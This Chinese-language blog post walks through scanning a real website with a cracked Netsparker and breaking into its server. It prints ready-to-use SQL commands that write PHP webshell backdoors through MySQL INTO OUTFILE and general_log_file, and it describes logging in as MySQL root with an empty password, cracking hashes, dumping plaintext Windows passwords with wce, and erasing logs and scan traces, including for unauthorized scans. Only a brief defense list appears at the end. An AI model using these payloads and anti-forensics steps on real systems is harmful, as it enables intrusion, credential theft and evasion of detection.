1.1使用Netsparker扫描及×××某站点

    目前市面上漏洞扫描软件有多款,前面介绍了一些扫描软件例如awvs对目标站点进行扫描,其实国外还有一款扫描软件Netsparker也挺厉害,扫描误报率低,扫描效果还不错。在本文中,对一个目标站点进行扫描,并未发现高危漏洞,但通过列目录漏洞以及敏感信息泄露文件,成功获取了某网站的webshell及其服务器权限。在真实×××环境中,漏洞的利用除了思路外,各种低级漏洞的组合和信息收集扩充,在一定条件下,将起到意想不到的效果。

1.1.1Netsparker简介及安装

Netsparker是一款著名的Web应用漏洞扫描工具,虽然名气不如AWVS,但其功能强大,可以爬行、×××并识别各种Web应用中存在的漏洞。能识别的Web应用漏洞包括SQL注入、XSS(跨网站指令码)、命令注入、本地文件包含和任意文件读取、远程文件包含、框架注入、内部路径信息披露等。跟其它扫描工具相比,Netsparker误报率低,因为Netsparker执行多次测试以确认任何被识别的漏洞。它还有一个JavaScript引擎,可以解析、执行并分析Web应用中使用的JavaScriptVBScript输出。因此Netsparker能成功爬行并充分了解网站。其官方网站https://www.netsparker.com,最新版本为5.XNetsparker目前分为桌面版,云端版和企业版。

2.软件下载

1获取桌面版本可以从官方网站获取:https://www.netsparker.com/get-demo/,下载前需要填写个人姓名、邮箱地址以及电话等信息,完毕即可下载桌面版。

2)破解版本,下载地址:https://down.52pojie.cn/LCG/

3.安装

   Netsparker的安装跟其它普通应用程序类似,根据提示进行安装即可,再次不赘述,只是早期有些版本需要有.Net Framework3.5或者4.0版本以上支持,如果没有这个框架支持,可能无法正常运行程序。

1.1.2使用Netsparker对目标站点进行扫描

1.新建扫描目标

   本次使用的是Netsparker3.5破解版,如图1所示,在“Target URL”中输入目标的URL地址,然后在扫描策略(Scan Policy)中选择对应的策略,可以选择所有的安全检查“All Security Checks”,其它选项可以根据实际需要来选择和填入,单击“Start Scan”即可开始扫描。

1-新建目标扫描.png 

1 新建扫描目标

2.查看扫描结果

Netsparker3.5中,扫描结束后,在最左下方可以看到“Scan Finished”显示进度条为100%,请求的数量为1553,如图2所示,最左上方是网站的目录结构,右下方显示扫描存在问题(Issues)所在,红色旗帜表示为高危,×××显示警示,叹号显示是获取的一些信息。最右上方显示原始的头及发包等数据,右中间显示的是请求响应情况,可以看原始(RAW)数据及头数据(Headers)。

2-扫描结果.png 

2查看扫描结果

1.1.3Netsparker扫描技巧

1.清除扫描历史记录

   Netsparker扫描时间比较长,对于未经授权的扫描一般都是挂在服务器上进行扫描,扫描结束后,会在当前用户的AppData\Local\”存在历史目标地址扫描信息,如图3所示,“C:\Users\Administrator\AppData\Local\Netsparker_Ltd\Netsparker.exe_Url_zvwvt4yrzsjvxnmbrbgijsymajvheb1h\3.5.3.0”目录下的user.config下会保存所有进行扫描过的站点信息,可以将这些信息执行删除清理,清除扫描痕迹。

3-扫描记录.png 

3清除历史扫描目标记录信息

2.查看及清除目标扫描日志记录

Netsparker默认会在C:\Users\Administrator\Documents\Netsparker\Scans”目录保留一些扫描信息,如图4所示,可以对其进行查看,也可以执行彻底删除,不保留扫描记录,未经授权,扫描也是罪过!

4-扫描历史.png 

4查看及清除目标扫描记录

3.定制目录扫描

   C:\Users\Administrator\Documents\Netsparker\Resources\Configuration”文件夹下,如图5所示,可以对配置文件进行更改,如图5所示,将一些敏感信息文件加入到Folders.txt文件,定制自己的目录及文件扫描。

5-定制文件夹扫描.png 

5定制目录扫描

4.查看Netsparker扫描日志

C:\Users\Administrator\Documents\Netsparker\Logs”会保持扫描日志,这个日志专门记录Netsparker扫描出错的一些信息,查看该文件便于进行出错处理。

1.1.4Netsparker扫描结果分析思路

1.各找各“妈”

   根据漏洞扫描结果,对于高危漏洞,根据其漏洞提示信息,各找各“妈”:通过漏洞寻找对应漏洞利用工具及其方法。

1SQL注入漏洞处理

   利用sqlmap对注入点进行测试,利用多种注入利用工具进行注入测试,也可以利用手工进行注入测试。

2)源代码下载及备份文件下载。下载备份文件分析是否存在webshell,获取数据库连接信息,挖掘漏洞,测试代码中存在的漏洞。

3svngit信息泄露,利用svngit信息泄露工具获取源代码,然后进行源代码分析。

4)文件编辑器,根据文件编辑器版本进行相应的漏洞测试及利用。

5)本地文件包含及远程文件包含,通过文件包含读取数据配置文件,写入文件,文件包含获取webshell等。

6)文件上传漏洞,对存在文件上传的地方进行各种上传漏洞测测试,尝试获取webshell

7)命令执行漏洞,通过命令执行反弹shell,在反弹shell上进行webshell获取及提权。

8)框架命令执行漏洞,寻找诸如Struts2远程利用相关工具对目标进行命令执行漏洞利用,一般都可以获取webshell

9XSS漏洞,通过XSS平台来获取管理员IP地址、Cookie、用户名及密码等信息。

10)其他相关漏洞,根据相应的漏洞名称寻找对应的漏洞利用工具来进行测试。

2.测试原则

1)先本地后远程实际目标测试

   如果知道开源CMS版本,尽量在本地搭建相同测试环境,本地测试通过后,再在目标站点进行测试。

2)使用扫描工具交叉扫描

   可以通过多款工具在空闲时间段对目标站点进行交叉扫描,对比分析漏洞扫描结果。

3)除Web×××扫描外的×××测试。很多目标站点可能Web站点不存在漏洞,但由于目标对外提供了很多其它应用,这些应用也可能存在漏洞。

3.手工测试及信息收集

1)对目标站点通过漏洞搜索引擎、搜索引擎等工具尽可能多的收集信息。

2)通过burpsuite对交互信息进行处理和访问,对获取的数据包涉及参数信息进行测试。

3)对逻辑漏洞进行测试

1.1.5漏洞扫描及×××测试实例

   本例通过Netsparker扫描,发现一些敏感文件,通过敏感文件的实际访问,获取数据库访问权限,通过类似PhpMyadmin管理软件,通过执行mysql命令,成功获取目标站点webshell

1.真实IP地址获取

1真实域名IP地址查询

将目标URL地址“https://toolbar.netcraft.com/site_report?url=www.****.info”跟toolbar网站中的url进行替换,然后访问,如图6所示,获取该网站历史IP地址等信息。

6-真实IP地址获取.png 

6netcraft网站获取IP地址信息

2)国外ping测试获取

通过国外网站https://asm.ca.com/en/ping.php,对目标域名进行ping测试,如图7所示,通过60多个国外站点对其进行ping测试来获取IP地址,该方法跟前面netcraft获取地信息一致,但是该目标的真正IP地址还不是。原因是cloudflare对正式IP地址进行了保护,防止进行DDOS×××等。

7-获取IP地址2.png 

7ping测试获取真实IP地址

3)通过百度编辑器的XSS测试获取

   可以在百度编辑器中插入xss代码来获取网站的真实IP地址。

2.后台弱口令

  获取后台登陆地址http://www.*****.info/index.php/admin/Login/index.html,后台管理用户admin密码123456

3.敏感文件分析

1adminer数据库管理页面

Netsparker扫描结果中发现存在一些敏感文件,如图8所示,sql.phpadminer.php更名版本,通过该文件可以对数据库进行全部的管理操作。

8-敏感文件.png 

8发现adminer数据库管理员页面

2)发现列目录漏洞

通过分析扫描结果的目录结构,并对其进行访问,发现存在列目录漏洞。

4.使用adminer进行数据相关操作

1)尝试空口令登录服务器

   如图9所示,通过root及空口令成功登录该服务器,在该服务器上面可以看到存在5个数据库,其中真正数据库为vr

9-登录mysql数据库.png 

9空口令登录数据库服务器

2)查看管理员及其密码

   利用adminermysql数据库及其vr数据库进行查看,如图10所示,可以看到管理员密码及其它是3个用户帐号,admingroup值为1

10-获取管理员用户及密码.png 

10查看管理员及其成员账号

3MySQL空口令及密码

如图11所示,执行查询来获取主机、用户及密码:SELECT host,user,authentication_string FROM `user`MySQL新版本中将password字典修改为authentication_string

11-mysql用户及密码.png 

11查看MySQL用户及密码

4)获取MySQL用户sun的密码

   如图12所示,将前面获取MySQL密码:1A2F4FFEABD87521B9AABB0A319533D1977406AAcmd5.com进行查询,其密码为xxooxxoo

12-破解密码.png 

12获取MySQL用户sun的密码

5.真实路径地址获取

  碰巧在该网站存在phpinfo.php页面,通过访问http://52.215.60.69/phpinfo.php,在该页面参数CONTEXT_DOCUMENT_ROOTSCRIPT_FILENAME会显示网站的真实路径信息:C:\wamp64\www\,如图13所示。

13-真实路径.png 

13获取网站真实路径

6.webshell获取之路

1)通过MySQL Root账号导出一句话后门失败

   使用传统的方法来导出一句话后门到网站真实路径,执行后,显示由于--secure-file-priv”参数选项设置,无法直接导出文件到目录,如图14所示。

select '<?php @eval($_POST[c]);?>'INTO OUTFILE 'C:/wamp64/www/c.php'  

14-导出一句话后门.png 

14导出一句话后门失败

2general_log_file获取webshell

查看genera文件配置情况:show global variables like "%genera%";

  关闭general_logset global general_log=off;

  通过general_log选项来获取webshell操作:

set global general_log='on';

SET global general_log_file='D:/phpStudy/WWW/cmd.php';

SELECT '<?php assert($_POST["cmd"]);?>';

3)查看genera文件配置情况

   执行show global variables like "%genera%";命令来参考数据库general_log配置情况,如图15所示,知道其配置文件修改为“C:\wamp64\www\Core\log2.php”说明,有人曾经×××过该网站。

15-获取日志文件.png 

15查看genera文件配置情况

4)读取文件内容

   使用select load_file('C:/wamp64/www/Core/log2.php')”命令来读取log2.php文件内容,尝试获取其人留下的后门,如图16所示,在新版本MySQL中不支持该方法,猜测该文件应该为一句话后门,也可以通过burpsuite等工具对一句话后门进行暴力破解。

16-读取后门文件内容.png 

16读取后门文件内容

5)开启general_log_file配置选项

   如图17所示,执行命令:set global general_log='on';显示配置信息修改成功。

17-开启日志记录.png 

17开启general_log_file配置选项

6)设置general_log_file配置日志文件

MySQL命令中执行SET global general_log_file='C:/wamp64/www/Core/log3.php';,修改general_log_file配置日志文件,如图18所示,再在其查询窗口查询:

SELECT '<?php assert($_POST["cmd"]);?>';

18-设置日志文位置-.png 

18设置general_log_file配置日志文件

7)访问日志文件

   如图19所示,在浏览器中访问general_log_file日志文件,可以看出该日志文件中有一些出错等信息,确认该配置文件设置成功。

19-访问文件.png 

19访问日志文件

8)获取webshell

一句话后门地址:http://52.***.**.**/Core/log3.php,密码cmd,如图20所示,成功获取webshell

20-获取webshell.png 

20成功获取webshell

9)查看log3.php文件内容

   如图21所示,通过中国菜刀一句话后门对log3.php文件内容进行查看,可以看到该文件记录了MySQL查询所进行的操作。

21-查看日志.png 

21查看log3.php文件内容

7.获取系统权限及密码

1)查看当前用户权限

   在中国菜刀后门管理工具中,选中刚才添加到webshell后门地址,在菜单中选择远程终端,如图22所示,使用whomai查看当前用户信息,显示该用户为系统账号,同时使用net user命令查看当前系统的所有用户信息。

22-系统权限.png 

22查看当前用户权限及系统所有用户

2)使用wce工具直接获取系统登录密码

   如图23所示,上传64位的wce修改程序,直接一键获取当前系统的所有账号及明文密码。

23-获取密码.png 

23获取当前登录用户及明文密码

8.登录服务器

  如图24所示,使用获取的用户名称及其明文密码成功登录该目标服务器。

24-登录服务器.png 

24成功登录远程桌面

9.清除日志记录

1)清除adminer登录日志

如图25所示,在c:\wamp64\tmp目录,可以看到有adminer.key等登录信息,可以将adminer.*文件进行删除。

25-清楚日志.png 

25清除adminer登录日志

2)还原general_log_file设置

   如图26所示,分别执行以下命令,清除前面的一些日志设置信息,还原MySQL原始状态。

set global general_log='on';

SET global general_log_file='c:/log.txt';

set global general_log='Off';

26-关闭日志记录.png 

26还原general_log_file设置

3)清除其它日志文件

    对系统登录日志等进行清除,清除***登录痕迹。

1.1.6总结及防御

1.通过Netsparker对目标站点进行扫描,扫描结束后,对扫描结果进行分析和利用,在条件具备的情况下,需要综合利用各种条件来配合进行后期的×××,在某些情况下是可以获取webshell的。

1)真实IP地址的获取是难点。现在很多真实IP都隐藏在CDN后方,需要通过一些新技术来探测。

https://toolbar.netcraft.com/site_report?url=

https://www.yougetsignal.com/tools/web-sites-on-web-server/

https://asm.ca.com/en/ping.php

2)高版本数据库获取主机、用户名及密码

SELECT host,user,authentication_string FROM `user`

3MySQL root账号前面的获取Webshell方法基本失效,可以预见后续系统将启用新版MySQL,通过general_log_file进行提权将越来越普遍,其获取webshell方法:

show global variables like "%genera%";

set global general_log='on';

SET global general_log_file='D:/phpStudy/WWW/cmd.php';

SELECT '<?php assert($_POST["cmd"]);?>';

2.安全防范建议

1)服务器上不留任何“多余”文件

2)数据库及其后台要设置为强口令。在本例中,后台管理员口令为123456root账号默认安装后为空,如果没有adminer.php类似MySQL数据库管理软件,也会相对较难×××。

3)禁止网站列目录,可以避免敏感文件信息泄露。

如果您想了解更多安全相关文章,请访问作者专栏:Web网站安全评估分析及防御网络安全入门到实战,让SQLmap子 弹飞一会儿